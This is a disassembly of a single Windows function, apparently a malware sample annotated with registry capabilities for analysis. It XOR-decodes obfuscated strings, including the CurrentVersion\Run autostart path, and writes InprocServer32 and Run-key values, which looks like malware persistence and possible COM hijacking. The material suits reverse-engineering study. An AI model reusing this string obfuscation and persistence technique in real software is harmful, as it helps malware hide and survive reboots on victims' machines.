Function at 0x4050d0
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c2c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x25c
push ebx
push esi
push edi
lea eax, [ebp - 0x164]
mov dword [ebp - 0x10], esp
xor esi, esi
push str.Plewtbqf_Nj_qlplew_jfps5_
push eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [ebp - 0x164]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40514b
mov cl, byte [ebp + edx - 0x164]
lea edi, [ebp - 0x164]
xor cl, 3
xor eax, eax
mov byte [ebp + edx - 0x164], cl
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x405125
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
lea edx, [ebp - 0x164]
push esi
push edx
push 0x80000001
mov dword [ebp - 4], esi
call ebx
cmp eax, esi
je 0x4052a4
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x14]
push eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push ecx
push esi
push 0xf003f
push esi
push esi
lea edx, [ebp - 0x164]
push esi
push edx
push 0x80000002
call ebx
test eax, eax
je 0x4051ae
lea eax, [ebp - 0x34]
push 0x40f208
push eax
mov dword [ebp - 0x34], esi
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [ebp - 0x164]
or ecx, 0xffffffff
xor eax, eax
mov edx, 0x207
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebp - 0x164]
sub edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.InprocServer32
push 0x4116a4
push edx
lea eax, [ebp + ecx - 0x164]
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x164]
push ecx
push edx
push esi
push 0xf003f
push esi
push esi
push esi
push eax
push 0x80000001
call ebx
test eax, eax
je 0x40522d
lea ecx, [ebp - 0x30]
push 0x40f208
push ecx
mov dword [ebp - 0x30], esi
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [0x412684]
mov eax, dword [ebp - 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add edx, 0x64d
push 4
push edx
push 4
push esi
push str.RValue1
push eax
call ebx
test eax, eax
je 0x405265
lea ecx, [ebp - 0x38]
push 0x40f208
push ecx
mov dword [ebp - 0x38], esi
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [ebp + 8]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 1
push esi
push str.RValue2
push edx
call ebx
test eax, eax
je 0x405298
lea eax, [ebp - 0x40]
push 0x40f208
push eax
mov dword [ebp - 0x40], esi
call sub.MSVCRT.dll__CxxThrowException
mov dword [ebp - 0x20], 1
jmp 0x405473
mov edi, 0x411d28
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x164]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
xor edi, edi
push 0xf003f
lea ecx, [ebp - 0x164]
push edi
push ecx
push 0x80000001
call ebx
cmp eax, edi
mov dword [ebp - 0x24], edi
je 0x40531c
lea edx, [ebp - 0x3c]
push 0x40f208
push edx
mov dword [ebp - 0x3c], edi
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
push ecx
mov dword [ebp - 0x20], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x405473
ret
mov ecx, dword [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x18]
push edx
push edi
push eax
push edi
push str.RValue1
push ecx
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x1c], edi
call esi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x24]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push edi
push str.RValue1
push edx
call esi
mov ecx, dword [0x412684]
mov eax, dword [ebp - 0x24]
cmp eax, dword [ecx + 0x64d]
jae 0x405473
lea edx, [ebp - 0x1c]
mov ecx, 8
xor eax, eax
lea edi, [ebp - 0x60]
push edx
push eax
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push eax
push 0
push str.RValue2
push ecx
mov dword [ebp - 0x18], 1
call esi
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x60]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push str.RValue2
push edx
call esi
mov edi, str.WkbpsevaXImgvkwkbpXSmj_kswXGqvvajpRavwmkjXVqj
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x268]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor edx, edx
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x268]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jae 0x405402
mov cl, byte [ebp + edx - 0x268]
xor cl, 4
mov byte [ebp + edx - 0x268], cl
inc edx
jmp 0x4053da
lea ecx, [ebp - 0x2c]
lea edx, [ebp - 0x268]
push ecx
push 0xf003f
push 0
push edx
push 0x80000001
call ebx
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x60]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp + 8]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
not ecx
push ecx
push edx
mov edx, dword [ebp - 0x14]
push 1
push eax
push str.RValue2
push edx
call esi
mov eax, dword [0x412684]
mov ecx, dword [ebp - 0x14]
add eax, 0x64d
push 4
push eax
push 4
push 0
push str.RValue1
push ecx
call esi
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret